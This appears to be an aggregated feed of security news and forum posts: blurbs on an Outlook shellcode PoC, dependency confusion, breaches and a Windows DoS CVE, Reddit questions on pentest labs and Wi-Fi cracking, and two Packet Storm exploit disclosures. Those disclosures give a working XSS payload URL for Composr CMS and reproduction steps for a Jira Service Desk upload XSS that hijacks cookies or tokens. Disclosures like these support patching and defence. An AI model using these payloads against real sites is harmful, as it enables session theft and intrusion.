Kali Linux Tutorials
BadOutlook : Malicious Outlook Reader

BadOutlook is a simple PoC which leverages the Outlook Application Interface (COM Interface) to execute shellcode on a system based on a specific trigger subject line. By utilizing the Microsoft.Office.Interop.Outlook namespace, developers can represent the entire Outlook Application (or at least according to Microsoft). This means that the new application should be able to do […]

The post BadOutlook : Malicious Outlook Reader appeared first on Kali Linux Tutorials.

Hacking on Medium
Dependency Confusion — A New Attack Technique

https://cdn-images-1.medium.com/max/1800/0*Be96cGn8Msa0-lHJ.jpg
Tech giants Microsoft, Apple, PayPal, Shopify, Netflix, Yelp, Tesla, and Uber have recently fallen victim to a new supply chain exploit…

Continue reading on Medium »

Hacking on Medium
I’ve Been Pwned

https://cdn-images-1.medium.com/max/2360/1*yjTH_5UDOt3VXRO6vOOKUA.jpeg
The Facebook breach is a stark reminder of the sorry state of our data

Continue reading on Medium »

Hacking on Medium
Mapas sobre ataques de Ransomware.

https://cdn-images-1.medium.com/max/964/0*fDeZ0h7gqQSrSprC
PUBLICADO EN 7 ABRIL, 2021 POR EHACKING

Continue reading on Medium »

Hacking on Medium
DoS Windows 7 e 10 — CVE-2021–24086

https://cdn-images-1.medium.com/max/1434/1*lkwyuMbfhLF1b16tBcAubQ.jpeg
Nesse artigo será explorado a falha recente do Windows 10 que ataca os endereços locais de link IPv6 causando a tela azul da morte:

Continue reading on Medium »

Android Image to PenTest.
https://www.reddit.com/r/Pentesting/comments/mm7poj/android_image_to_pentest/

<!-- SC_OFF -->Hello all. Im new to the whole PenTest world. Im currently setting up my lab. Im following the Penetration Testing book by Georgia Weidman. I'm at the point of setting up Android targets, and I see that the images listed in the book are deprecated in Android SDK / AVD. Makes sense, those are old phones / images. What are some images that are worth emulating and targeting. I'm not too hip on the new phones and OS flavors. ​ Thanks <!-- SC_ON --> submitted by /u/BU5HMA5T3R (https://www.reddit.com/user/BU5HMA5T3R)
[link] (https://www.reddit.com/r/Pentesting/comments/mm7poj/android_image_to_pentest/) [comments] (https://www.reddit.com/r/Pentesting/comments/mm7poj/android_image_to_pentest/)

hacking: security in practice
What if you could deposit money into your Betting account for free?

https://external-preview.redd.it/jPihEGIUHOik5mFOrT6gBPt5pdhvjxLGhZUrMJbe30c.jpg?width=320&crop=smart&auto=webp&s=3d494859a63c372e201e44229987687b34905ec4 submitted by /u/CodePerfect
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖

hacking: security in practice
Wi-fi hacking success rate?

Hi folks,

I was wondering what your common success rate was with hacking WAPs. Like many before me, I have started flirting with the hacking trade a couple of years ago by watching hours of tutorials where stuff nearly always works very smoothly. As soon as you actually start trying, stuff becomes more frustrating and for as long as you remain a script kiddie, you are destined to fail in real life settings.

Recently, I have purchased 5 new and 10 older - used WAPs of various makes, but the common tools only seldom work against them in default settings and it takes some prolonged tweaking (will post some scenarios later on) to crack even some of the old ones (the new ones I seem not to have a chance at this time).

How's your success rates and what works best for you?

Cheers.

submitted by /u/gspnst
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖

Exploit Collector
Composr CMS 10.0.36 Cross Site Scripting

https://2.bp.blogspot.com/-TEKdvnpzXEU/WWlu-1G01LI/AAAAAAAAIJ8/FsoklfFFqiwHwKy6Rf6U36sgF7K28-hPgCLcBGAs/s1600/h118.png
Composr CMS version 10.0.36 suffers from a cross site scripting vulnerability.

MD5 | 7557702ccddf1edf3bec1d21a0ca5250

Download
# Exploit Title: Composr CMS 10.0.36 - Cross Site Scripting
# Date: 04/06/2021
# Exploit Author: Orion Hridoy
# Vendor Homepage: https://compo.sr/
# Software Link: https://compo.sr/download.htm
# Version: 10.0.36
# Tested on: Windows/Linux
# CVE : CVE-2021-30150

Vulnerable Endpoint:
https://site.com/data/ajax_tree.php?hook=choose_gallery&id=&options=a:5:{s:21:"must_accept_something";b:1;s:6:"purity";b:0;s:14:"addable_filter";b:1;s:6:"filter";N;s:9:"member_id";N;}&default=<something:scriptalert("Hello")

Source:packetstormsecurity.com

Exploit Collector
Atlassian Jira Service Desk 4.9.1 Cross Site Scripting

https://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png
Atlassian Jira Service Desk version 4.9.1 suffers from a cross site scripting vulnerability via a file upload.

MD5 | 840e289057a75abee3ebef734b12ec0a

Download
# Exploit Title: Atlassian Jira Service Desk 4.9.1 - Unrestricted File Upload to XSS
# Date: 07 Mar 2020
# Exploit Author: Captain_hook
# Vendor Homepage: https://www.atlassian.com/
# Version: < 4.10.0
# Tested on: All OS
# CVE: CVE-2020-14166

Summary:

The /servicedesk/customer/portals resource in Jira Service Desk Server and Data Center before version 4.10.0 allows remote attackers with project administrator privileges to inject arbitrary HTML or JavaScript names via an Cross Site Scripting (XSS) vulnerability by uploading a html file.

Steps to reproduce:

1- reach to this directory http://localhost:port/servicedesk/customer/portals?customize=true
2- There's a place where the banner can be uploaded when upload wizard popup you can see that the banner image restricted to image format, you can change that type easily
3- then you can upload HTML and javascript files and hijacking cookies or XSRF tokens.

Original report in bugcrowd:

https://bugcrowd.com/disclosures/61a50171-aa55-4126-b9f4-4e82b4b8c301/unrestricted-file-upload-stored-xss-for-token-hijacking
Original ticket in atlassian:

https://jira.atlassian.com/browse/JSDSERVER-6895?error=login_required&error_description=Login+required&state=28f8e754-fb05-4f5e-adda-79e252fe2c30

Source:packetstormsecurity.com